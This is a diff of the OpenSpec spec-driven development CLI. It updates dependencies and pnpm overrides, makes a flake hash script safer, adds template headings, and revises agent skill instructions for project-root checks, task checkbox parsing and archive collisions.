+- **AND** without that marker, report a REMOVED-only sync as blocked, matching `openspec archive`, which aborts with `Spec must have at least one requirement`
+- **AND** report an empty delta as blocked because it has no operations to sync
+- **AND** never write an empty `## Requirements` section
+
 #### Scenario: Merged main spec keeps canonical structure
 - **WHEN** the agent writes a main spec during sync
 - **THEN** every requirement lives under a single `## Requirements` section

package.json

@@ -1,6 +1,6 @@
 {
   "name": "@fission-ai/openspec",
-  "version": "1.12.0",
+  "version": "1.13.1",
   "description": "AI-native system for spec-driven development",
   "keywords": [
     "openspec",
@@ -63,35 +63,23 @@
     "@changesets/changelog-github": "^1.0.0",
     "@changesets/cli": "^3.0.1",
     "@types/node": "^20.19.43",
-    "@vitest/ui": "^3.2.6",
+    "@vitest/ui": "^4.1.11",
     "eslint": "^10.5.0",
     "smol-toml": "^1.7.1",
     "typescript": "^6.0.3",
     "typescript-eslint": "^8.65.0",
-    "vitest": "^3.2.6"
+    "vitest": "^4.1.11"
   },
   "dependencies": {
     "@inquirer/core": "^11.2.1",
     "@inquirer/prompts": "^8.5.2",
     "chalk": "^5.6.2",
     "commander": "^14.0.0",
-    "diff": "^9.0.0",
     "cross-spawn": "7.0.6",
+    "diff": "^9.0.0",
     "fast-glob": "^3.3.3",
     "ora": "^9.4.1",
     "yaml": "^2.8.3",
     "zod": "^4.4.3"
-  },
-  "pnpm": {
-    "onlyBuiltDependencies": [
-      "esbuild"
-    ],
-    "overrides": {
-      "brace-expansion@<=5.0.8": ">=5.0.9 <6",
-      "postcss@<8.5.23": ">=8.5.23 <9",
-      "js-yaml@>=3.0.0 <3.15.1": ">=3.15.1 <4",
-      "js-yaml@>=4.0.0 <4.3.1": ">=4.3.1 <5",
-      "nanoid@<3.3.17": ">=3.3.17 <4"
-    }
   }
 }

pnpm-workspace.yaml

@@ -2,8 +2,13 @@ packages:
   - '.'
 
 allowBuilds:
-  esbuild@0.28.1: true
+  esbuild@0.28.2: true
 
+# The only declaration of these. A `pnpm.overrides` block in package.json does not
+# merge with this list — pnpm 10 uses it *instead of* this file (verified: a lone
+# entry there produced a lockfile with only that override). Dependabot rewrites
+# plain-name entries in package.json when it bumps the same package, so a mirrored
+# copy there both drifts and silently takes precedence over these advisory pins.
 overrides:
   brace-expansion@<=5.0.8: '>=5.0.9 <6'
   postcss@<8.5.23: '>=8.5.23 <9'
@@ -17,3 +22,7 @@ overrides:
   # (transitive via postcss). Remove once transitive nanoid is >=3.3.17
   # (check: pnpm why nanoid).
   nanoid@<3.3.17: '>=3.3.17 <4'
+  # GHSA-px8p-9vwx-vf98 — fflate `unzipSync` infinite loop on malformed ZIP64.
+  # Dev-only (transitive via @vitest/ui); never in the published CLI. Remove once
+  # transitive fflate is >=0.8.3 (check: pnpm why fflate).
+  fflate@<0.8.3: '>=0.8.3 <0.9'

schemas/spec-driven/schema.yaml

@@ -18,7 +18,19 @@ artifacts:
       - **Impact**: Affected code, APIs, dependencies, or systems.
 
       IMPORTANT: The Capabilities section is critical. It creates the contract between
-      proposal and specs phases. Research existing specs before filling this in.
+      proposal and specs phases. Research existing specs before filling this in:
+      run `openspec list --specs` for the project's capability inventory, then
+      `openspec show "<spec-id>" --type spec --json --no-scenarios` for any that
+      look related - that returns a capability's purpose and requirement texts
+      without pulling whole spec files into context. Append `--store "<id>"` to
+      both commands only for a registered standalone store, and keep `--type
+      spec`: a change and a spec sharing a name is otherwise an ambiguous-item
+      error. `openspec list` without `--specs` lists in-flight changes, not
+      specs - it never shows what the project already covers. Reuse an existing
+      capability's exact path instead of introducing a near-duplicate name.
+      The filtered read is only an overview. Before deciding what is already
+      covered or what should change, read each relevant spec in full, including
+      scenarios, with `openspec show "<spec-id>" --type spec` (same `--store` rule).
       Each capability listed here will need a corresponding spec file.
 
       Every change must either declare at least one capability (new or
@@ -63,7 +75,7 @@ artifacts:
       `<capability-path>` is the spec directory relative to `specs/` (for example,
       `user-auth` or `identity/user-auth`). Preserve the full path:
       - New capabilities: use the exact path from the proposal at `specs/<capability-path>/spec.md`. Any path segment newly introduced in the proposal must be kebab-case. Follow the project's existing organization; do not add a new domain level when the project uses a flat layout.
-      - Modified capabilities: use the exact existing path from `openspec/specs/<capability-path>/` when creating the delta at `specs/<capability-path>/spec.md`. Do not move or rename the capability.
+      - Modified capabilities: use the exact existing path from `openspec/specs/<capability-path>/` when creating the delta at `specs/<capability-path>/spec.md`. Run `openspec list --specs` to confirm that path before writing the delta, appending `--store "<id>"` only for a registered standalone store - a mistyped or invented path targets a capability that does not exist rather than the one you meant. Do not move or rename the capability.
 
       There must be at least one spec file unless the change's `.openspec.yaml`
       sets `skip_specs: true` (no spec-level behavior change) - `openspec validate`
@@ -83,7 +95,7 @@ artifacts:
       - **CRITICAL**: Scenarios MUST use exactly 4 hashtags (`####`). Using 3 hashtags or bullets will fail silently.
       - Every requirement MUST have at least one scenario.
 
-      New capabilities only: start the delta spec with a `## Purpose` section -
+      New capabilities only: the delta spec's first section is `## Purpose` -
       one or two sentences (50+ characters, or `openspec validate --strict`
       reports it as too brief) describing what the capability is for. Archive
       copies it into the main spec it creates; without it the new main spec is
@@ -108,8 +120,10 @@ artifacts:
       Common pitfall: Using MODIFIED with partial content loses detail at archive time.
       If adding new concerns without changing existing behavior, use ADDED instead.
 
-      Example (a new capability, so it opens with `## Purpose`):
+      Example (a new capability, so its first section is `## Purpose`):
       ```
+      # Spec Delta
+
       ## Purpose
 
       Lets users take their data out of the product in a portable format.
@@ -181,7 +195,10 @@ artifacts:
       bake an unstated assumption into the task list.
 
       **IMPORTANT: Follow the template below exactly.** The apply phase parses
-      checkbox format to track progress. Tasks not using `- [ ]` won't be tracked.
+      checkbox format to track progress. A box holding only `x` counts as done,
+      upper or lower case and with any spacing, so `- [ x]` is done too. Every
+      other marker, including `- [~]`, `- [-]` and an empty `- []`, reads as
+      unfinished. A line with no checkbox is not tracked at all.
 
       Guidelines:
       - Group related tasks under ## numbered headings
@@ -196,6 +213,8 @@ artifacts:
 
       Example:
       ```
+      # Tasks
+
       ## 1. Setup
 
       - [ ] 1.1 Create new module structure and verify expected files are present

schemas/spec-driven/templates/design.md

@@ -1,3 +1,5 @@
+# Design
+
 ## Context
 
 <!-- Current state and constraints that shape the approach. See proposal.md for motivation - don't restate it -->

schemas/spec-driven/templates/proposal.md

@@ -1,3 +1,5 @@
+# Proposal
+
 ## Why
 
 <!-- Explain the motivation for this change. What problem does this solve? Why now? -->

schemas/spec-driven/templates/spec.md

@@ -1,3 +1,5 @@
+# Spec Delta
+
 ## Purpose
 <!-- New capabilities only: one or two sentences (50+ characters) on what this capability is for. Delete this section for an existing capability. -->
 

schemas/spec-driven/templates/tasks.md

@@ -1,3 +1,5 @@
+# Tasks
+
 ## 1. <!-- Task Group Name -->
 
 - [ ] 1.1 <!-- Task description -->

scripts/update-flake.sh

@@ -10,6 +10,14 @@ PROJECT_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
 FLAKE_FILE="$PROJECT_ROOT/flake.nix"
 PACKAGE_JSON="$PROJECT_ROOT/package.json"
 
+# Every hash read and every hash rewrite below is confined to this sed address
+# range. flake.nix holds one fixed-output derivation today, so an unscoped
+# `hash = "sha256-..."` happens to hit the right line; the moment a second FOD
+# is added, an unscoped script would stamp the placeholder over both, extract
+# whichever mismatch Nix reported first, and write pnpmDeps' hash into the
+# other derivation. Scoping is what keeps that from being a silent corruption.
+PNPM_DEPS_BLOCK='/pnpmDeps = /,/};/'
+
 # Colors for output
 RED='\033[0;31m'
 GREEN='\033[0;32m'
@@ -49,15 +57,21 @@ fi
 echo -e "${BLUE}🔧 Current pnpm-lock.yaml:${NC} $(stat -c%y "$PROJECT_ROOT/pnpm-lock.yaml" 2>/dev/null || stat -f%Sm "$PROJECT_ROOT/pnpm-lock.yaml")"
 echo ""
 
-# Get current hash from flake.nix
-CURRENT_HASH=$(sed -nE 's/.*hash = "(sha256-[^"]+)".*/\1/p' "$FLAKE_FILE" | head -1)
+# Get current pnpmDeps hash from flake.nix
+CURRENT_HASH=$(sed -nE "$PNPM_DEPS_BLOCK"' s/.*hash = "(sha256-[^"]+)".*/\1/p' "$FLAKE_FILE" | head -1)
+if [ -z "$CURRENT_HASH" ]; then
+  echo -e "${RED}❌ Error: no pnpmDeps hash found in flake.nix${NC}"
+  echo -e "   Looked for 'hash = \"sha256-...\"' inside the 'pnpmDeps = ... };' block."
+  echo -e "   Nothing was modified."
+  exit 1
+fi
 echo -e "${BLUE}📌 Current hash:${NC} $CURRENT_HASH"
 echo ""
 
 # Set placeholder hash to trigger error
 echo -e "${YELLOW}⏳ Setting placeholder hash to calculate correct value...${NC}"
 PLACEHOLDER="sha256-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="
-sed "${SED_INPLACE[@]}" "s|hash = \"sha256-[^\"]*\"|hash = \"$PLACEHOLDER\"|" "$FLAKE_FILE"
+sed "${SED_INPLACE[@]}" "$PNPM_DEPS_BLOCK s|hash = \"sha256-[^\"]*\"|hash = \"$PLACEHOLDER\"|" "$FLAKE_FILE"
 
 # Try to build and capture the correct hash
 echo -e "${BLUE}🔨 Building to determine correct hash (expected to fail)...${NC}"
@@ -77,7 +91,7 @@ if [ -z "$CORRECT_HASH" ]; then
   echo "$BUILD_OUTPUT"
   echo ""
   echo -e "${YELLOW}Restoring original hash...${NC}"
-  sed "${SED_INPLACE[@]}" "s|hash = \"$PLACEHOLDER\"|hash = \"$CURRENT_HASH\"|" "$FLAKE_FILE"
+  sed "${SED_INPLACE[@]}" "$PNPM_DEPS_BLOCK s|hash = \"$PLACEHOLDER\"|hash = \"$CURRENT_HASH\"|" "$FLAKE_FILE"
   exit 1
 fi
 
@@ -87,14 +101,14 @@ echo ""
 # Check if hash changed
 if [ "$CURRENT_HASH" = "$CORRECT_HASH" ]; then
   echo -e "${GREEN}✓ Hash is already up-to-date!${NC}"
-  sed "${SED_INPLACE[@]}" "s|hash = \"$PLACEHOLDER\"|hash = \"$CORRECT_HASH\"|" "$FLAKE_FILE"
+  sed "${SED_INPLACE[@]}" "$PNPM_DEPS_BLOCK s|hash = \"$PLACEHOLDER\"|hash = \"$CORRECT_HASH\"|" "$FLAKE_FILE"
   echo ""
   echo -e "${BLUE}ℹ️  No changes needed. Your flake is in sync with pnpm-lock.yaml${NC}"
   exit 0
 fi
 
 echo -e "${YELLOW}🔄 Updating hash in flake.nix...${NC}"
-sed "${SED_INPLACE[@]}" "s|hash = \"$PLACEHOLDER\"|hash = \"$CORRECT_HASH\"|" "$FLAKE_FILE"
+sed "${SED_INPLACE[@]}" "$PNPM_DEPS_BLOCK s|hash = \"$PLACEHOLDER\"|hash = \"$CORRECT_HASH\"|" "$FLAKE_FILE"
 
 # Verify the build works
 echo -e "${BLUE}🔍 Verifying build with new hash...${NC}"

skills/openspec-apply-change/SKILL.md

@@ -1,6 +1,6 @@
 ---
 name: openspec-apply-change
-description: Implement tasks from an OpenSpec change. Use when the user wants to start implementing, continue implementation, or work through tasks.
+description: Implement tasks from an OpenSpec change. Use when the user wants to start implementing, continue implementation, or work through tasks. Also use when the user says "openspec apply", "opsx apply", or "openspec implement".
 allowed-tools: Bash(openspec:*)
 license: MIT
 compatibility: Requires openspec CLI.
@@ -13,6 +13,17 @@ Implement tasks from an OpenSpec change.
 
 **Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
 
+**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
+
+One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
+
+Otherwise, with no root, what happens next depends on how this workflow was reached:
+
+- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
+- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
+
+In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
+
 **Input**: Optionally specify a change name (e.g., `/openspec-apply-change add-auth`). If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes.
 
 **Steps**
@@ -48,9 +59,12 @@ Implement tasks from an OpenSpec change.
    - Dynamic instruction based on current state
    - Optional `context`: current required project instruction input from the selected root
    - Optional `operationGuidance`: current advisory guidance for apply
+   - `missingArtifacts` (when present): required artifact ids with no output
 
    **Handle states:**
-   - If `state: "blocked"` (missing artifacts): show message, suggest using `/openspec-continue-change` (if it is not installed, run `openspec status --change "<name>" --json` to see the next artifact and `openspec instructions <artifact-id> --change "<name>" --json` for how to create it)
+   - If `state: "blocked"`: show the message and pause implementation.
+     - If `missingArtifacts` is non-empty: suggest using `/openspec-continue-change` to create them.
+     - Otherwise, follow the CLI instruction to create or repair the schema-configured tracking file from existing planning artifacts. Do not assume another artifact is ready or start implementation while blocked.
    - If `state: "all_done"`: congratulate, suggest archive
    - Otherwise: proceed to implementation
 

skills/openspec-archive-change/SKILL.md

@@ -1,6 +1,6 @@
 ---
 name: openspec-archive-change
-description: Archive a completed change in the experimental workflow. Use when the user wants to finalize and archive a change after implementation is complete.
+description: Archive a completed OpenSpec change in the experimental workflow. Use when the user wants to finalize and archive a change after implementation is complete. Also use when the user says "openspec archive" or "opsx archive".
 allowed-tools: Bash(openspec:*)
 license: MIT
 compatibility: Requires openspec CLI.
@@ -13,6 +13,17 @@ Archive a completed change in the experimental workflow.
 
 **Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
 
+**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
+
+One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
+
+Otherwise, with no root, what happens next depends on how this workflow was reached:
+
+- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
+- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
+
+In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
+
 `<capability-path>` is the spec directory relative to `specs/` (for example, `user-auth` or `identity/user-auth`). Preserve the full path from each delta spec when resolving its main spec.
 
 **Input**: Optionally specify a change name. If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes.
@@ -76,7 +87,11 @@ Archive a completed change in the experimental workflow.
 
    Read the tasks file (typically `tasks.md`) to check for incomplete tasks.
 
-   Count tasks marked with `- [ ]` (incomplete) vs `- [x]` (complete).
+   A checkbox is complete when its only content is `x` or `X`; spacing inside
+   the brackets does not matter, so `- [ x]` counts as complete too. Every
+   other marker is incomplete - `- [ ]`, an empty `- []`, and markers OpenSpec
+   assigns no meaning to such as `- [~]` or `- [-]`. Never read an unfamiliar
+   marker as complete.
 
    **If incomplete tasks found:**
    - Display warning showing count of incomplete tasks
@@ -94,17 +109,23 @@ Archive a completed change in the experimental workflow.
 
    **If delta specs exist:**
    - Compare each delta spec with its corresponding main spec at `<planningHome.root>/openspec/specs/<capability-path>/spec.md` (use the store-aware `planningHome.root` from step 2, not a hardcoded repo path)
+   - A missing main spec is **not automatically** "already synced". For a new capability, the main spec is an *output* of the sync, not an input:
+     - If the delta has MODIFIED or RENAMED requirements, report that only ADDED requirements can create a new main spec and mark that capability as sync-blocked. Never invent a requirement that has no current version.
+     - Otherwise, if the delta has only REMOVED requirements and the change's `.openspec.yaml` declares `retire_capabilities: true`, the capability is already retired: count it as already synced, warn that there is nothing left to remove, and do not recreate the main spec. Apply this rule both now and when verifying a completed sync.
+     - Otherwise, if the delta has no ADDED requirements, report that no sync is possible and mark that capability as sync-blocked. For a REMOVED-only delta, warn that there is no main spec to remove from and leave the main-spec tree unchanged. `openspec archive` refuses the unmarked REMOVED-only case with `Spec must have at least one requirement`.
+     - Otherwise, count the capability as needing sync and name it in the summary (`<capability-path>: new main spec will be created`). If the delta also has REMOVED requirements, warn that they will be ignored because there is no main spec to remove from. The sync creates the main spec from only the delta's ADDED requirements, exactly as `openspec archive` does.
    - Determine what changes would be applied (adds, modifications, removals, renames)
-   - Show a combined summary before prompting
+   - Continue assessing the remaining capabilities even when one is sync-blocked. Show a combined summary before prompting.
 
    **Prompt options:**
-   - If changes needed: "Sync now (recommended)", "Archive without syncing"
-   - If already synced: "Archive now", "Sync anyway", "Cancel"
+   - If any capability is sync-blocked: explain why and offer only "Archive without syncing", "Cancel"
+   - Otherwise, if changes needed: "Sync now (recommended)", "Archive without syncing"
+   - Otherwise, if already synced: "Archive now", "Sync anyway", "Cancel"
 
    Route on the answer:
    - "Cancel" — stop, do not archive
    - "Archive without syncing" or "Archive now" — proceed to archive
-   - "Sync now" or "Sync anyway" — sync, then verify (below)
+   - "Sync now" or "Sync anyway" — sync, then verify (below). Do not start any sync while a capability is sync-blocked; explain the blocker and repeat the available choices.
    - Anything else — ask again rather than archiving
 
    Before a selected sync writes any main spec, run
@@ -118,7 +139,7 @@ Archive a completed change in the experimental workflow.
 
    Then run the `openspec-sync-specs` workflow inline (agent-driven intelligent merge) for change '<name>', passing the delta spec analysis and the fetched specs-rule snapshot from above, and wait for it to finish. The inline sync must reuse that snapshot without fetching `specs` instructions again. Do not delegate it to a background task — step 5 would move `changeRoot` out from under a sync that is still reading it, leaving the change archived and the main specs never updated. If your agent can only run it by delegation, delegate synchronously and wait for the result.
 
-   Then re-run the comparison from the top of this step against every capability that has a delta spec in `artifactPaths.specs.existingOutputPaths` — not only the ones the sync reports it touched. A successful sync leaves nothing left to apply, so each capability must now read as already synced:
+   Then re-run the comparison from the top of this step, including the explicitly retired, missing-spec case, against every capability that has a delta spec in `artifactPaths.specs.existingOutputPaths` — not only the ones the sync reports it touched. A successful sync leaves nothing left to apply, so each capability must now read as already synced:
    - ADDED requirements present
    - MODIFIED requirements carrying the scenario and description changes named in the delta, with their other scenarios intact
    - REMOVED requirements gone — and where this sync retired a capability (removed its last requirement, leaving `## Requirements` empty), its main spec deleted rather than left empty; a spec the sync deliberately kept and reported is also a match

skills/openspec-bulk-archive-change/SKILL.md

@@ -1,6 +1,6 @@
 ---
 name: openspec-bulk-archive-change
-description: Archive multiple completed changes at once. Use when archiving several parallel changes.
+description: Archive multiple completed OpenSpec changes at once. Use when archiving several parallel changes. Also use for a plural archive request - "openspec bulk-archive", "opsx bulk-archive", "openspec archive all", or "openspec archive these changes".
 allowed-tools: Bash(openspec:*)
 license: MIT
 compatibility: Requires openspec CLI.
@@ -15,6 +15,17 @@ This skill allows you to batch-archive changes, handling spec conflicts intellig
 
 **Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
 
+**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
+
+One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
+
+Otherwise, with no root, what happens next depends on how this workflow was reached:
+
+- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
+- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
+
+In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
+
 `<capability-path>` is the spec directory relative to `specs/` (for example, `user-auth` or `identity/user-auth`). Preserve the full path from each delta spec when resolving its main spec.
 
 **Input**: None required (prompts for selection)
@@ -70,7 +81,9 @@ This skill allows you to batch-archive changes, handling spec conflicts intellig
       - Note which artifacts are `done` vs other states
 
    b. **Task completion** - Read `artifactPaths.tasks.existingOutputPaths` from status JSON
-      - Count `- [ ]` (incomplete) vs `- [x]` (complete)
+      - Complete means the checkbox holds only `x`/`X`, ignoring spacing
+        (`- [ x]` is complete); every other marker is incomplete (`- [ ]`,
+        `- []`, and unfamiliar ones such as `- [~]` or `- [-]`)
       - If no tasks file exists, note as "No tasks"
 
    c. **Delta specs** - Check `artifactPaths.specs.existingOutputPaths` from status JSON
@@ -81,6 +94,14 @@ This skill allows you to batch-archive changes, handling spec conflicts intellig
         lookup for that change; do not infer deltas from unrelated artifacts.
       - Evaluate this independently for every change, including mixed-schema
         batches where some schemas have no `specs` artifact.
+
+   d. **Archive target** - Compute each change's target name once and record it as that change's `<target-name>`
+      - Use the change name as-is when it already starts with a `YYYY-MM-DD-` prefix; otherwise prepend the current date as `YYYY-MM-DD-<name>` (same rule as `openspec archive`)
+      - Check whether `<planningHome.changesDir>/archive/<target-name>` already exists
+      - If it exists, or another selected change resolves to the same target name, mark every such change `Blocked` with `Archive directory already exists`
+      - A blocked change is never synced or moved: show it as `Blocked` in the step 6 table, leave it out of conflict resolution (resolve its conflicts using only the other changes), and record it as Failed in step 8d
+      - Checking here, before any main spec is written, matches `openspec archive`: a collision found after sync would leave main specs rewritten for an archive that never happened
+
 4. **Detect spec conflicts**
 
    Build a map keyed by `<capability-path>`, the exact path relative to `specs/`:
@@ -153,8 +174,8 @@ This skill allows you to batch-archive changes, handling spec conflicts intellig
    Route on the answer by intent, not by exact label — you wrote these labels,
    so match what the user picked rather than the wording above:
    - "Cancel" — stop, do not archive. Report that nothing was archived and skip the remaining steps.
-   - The archive-everything option — proceed with every selected change
-   - The ready-only option — proceed with only the changes the step 6 table marks `Ready` or `Ready*`, and record the rest as Skipped in step 8d. If a `Ready*` change's conflict partner is skipped, re-derive that conflict's resolution using only the changes being archived.
+   - The archive-everything option — proceed with every selected change that is not `Blocked`
+   - The ready-only option — proceed with only the changes the step 6 table marks `Ready` or `Ready*`, and record the rest as Skipped in step 8d, except `Blocked` changes, which stay Failed with `Archive directory already exists`. If a `Ready*` change's conflict partner is skipped, re-derive that conflict's resolution using only the changes being archived.
    - Anything else — ask again rather than archiving
 
    Before step 8 writes the first main spec or moves any change, fetch every
@@ -199,13 +220,20 @@ This skill allows you to batch-archive changes, handling spec conflicts intellig
 
    c. **Perform the archive**:
 
-      Target name: use the change name as-is when it already starts with a `YYYY-MM-DD-` prefix; otherwise prepend the current date as `YYYY-MM-DD-<name>` (same rule as `openspec archive`).
+      Target name: use the `<target-name>` recorded for this change in step 3d, unchanged. Never recompute it here: a batch that runs past midnight would check one date in step 3 and move to another.
+
+      **Check if target already exists:**
+      - Check again immediately before the move, even though step 3 already checked: the target can appear mid-batch
+      - If yes: record this change as Failed with `Archive directory already exists`, leave `changeRoot` where it is, report any main specs step 8a already synced for it, and continue with the remaining changes
+      - If no: move `changeRoot` to the archive directory
 
       ```bash
       mkdir -p "<planningHome.changesDir>/archive"
       mv "<changeRoot>" "<planningHome.changesDir>/archive/<target-name>"
       ```
 
+      **Confirm the move did not nest:** `mv` exits 0 even when the target appeared after the check, moving the change *inside* it. If `<planningHome.changesDir>/archive/<target-name>/<change-directory-name>` now exists (the last path segment of `changeRoot`), move that directory back to `changeRoot` and record this change as Failed with `Archive directory already exists`. Never report it as archived.
+
    d. **Track outcome** for each change:
       - Success: archived successfully
       - Failed: error during archive or spec verification (record error)
@@ -320,8 +348,9 @@ No active changes found. Create a new change to get started.
 - Never archive after the user cancels the confirmation — a cancelled batch archives nothing
 - Track and report all outcomes (success/skip/fail)
 - Preserve .openspec.yaml when moving to archive
-- Archive directory target uses current date: YYYY-MM-DD-<name>; a name that already starts with a `YYYY-MM-DD-` prefix is used as-is (never stack a second date)
+- Archive directory target uses the current date, computed once in step 3d and reused at the move: YYYY-MM-DD-<name>; a name that already starts with a `YYYY-MM-DD-` prefix is used as-is (never stack a second date)
 - If archive target exists, fail that change but continue with others
+- Check every archive target in step 3, before the first main-spec write; a change whose target exists is never synced or moved
 - If sync is requested, run the `openspec-sync-specs` workflow inline (agent-driven) for each change with included delta specs
 - Carry the per-delta `includedDeltas` and `excludedDeltas` decisions into execution; sync and verify only included deltas
 - Report every excluded delta as `sync skipped` without treating the archive itself as skipped

skills/openspec-continue-change/SKILL.md

@@ -1,6 +1,6 @@
 ---
 name: openspec-continue-change
-description: Continue working on an OpenSpec change by creating the next artifact. Use when the user wants to progress their change, create the next artifact, or continue their workflow.
+description: Continue working on an OpenSpec change by creating the next artifact. Use when the user wants to progress their change, create the next artifact, or continue their workflow. Also use when the user says "openspec continue" or "opsx continue".
 allowed-tools: Bash(openspec:*)
 license: MIT
 compatibility: Requires openspec CLI.
@@ -13,6 +13,17 @@ Continue working on a change by creating the next artifact.
 
 **Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
 
+**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
+
+One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
+
+Otherwise, with no root, what happens next depends on how this workflow was reached:
+
+- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
